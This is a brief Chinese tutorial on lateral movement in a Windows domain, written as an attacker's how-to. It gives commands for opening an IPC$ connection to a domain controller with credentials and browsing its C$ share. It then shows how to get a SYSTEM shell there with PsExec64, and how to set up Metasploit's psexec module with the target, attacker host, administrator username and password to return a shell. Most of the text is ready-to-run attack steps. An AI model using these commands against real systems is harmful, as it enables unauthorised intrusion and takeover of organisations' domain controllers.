• 域内横向移动是指，攻击者以攻陷的系统为跳板，访问其他域内主机，扩大攻击战果
Windows远程连接
• IPC（Internet Process Connection）指进程间通信开放的命名管道
• IPC可以通过验证用户名和密码获得相应权限，比如远程管理计算机和查看共享资源
• 通过ipc$，可以与目标机器建立连接，利用这个连接，可以访问目标机器的文件、上传、下载以及运行命令等
建立IPC$
net use \\域控ip\ipc$ /user:用户名 密码
建立ipc
查看建立的连接
net use
查看建立的连接
访问远程文件
dir \\域控ip\c$
查看目录
使用PsExec64脚本反弹shell
1）先将脚本复制到攻击机
复制脚本
2）在脚本所在文件夹打开cmd，并执行以下命令
PsExec64.exe \\域控ip -s cmd.exe
等待连接
3）等待连接完成，返回shell
连接完成
msf中的psexec模块
1、进入msf
msfconsole
进入msf
2、搜索psexec模块
search psexec
搜索模块
3、使用模块并查看参数设置
use 4
show options
查看参数设置
4、设置参数并执行
set rhosts 域控ip
set lhost 攻击机内网ip
set smbuser administrator
set smbpass 密码
run
设置参数并执行
5、返回shell
返回shell
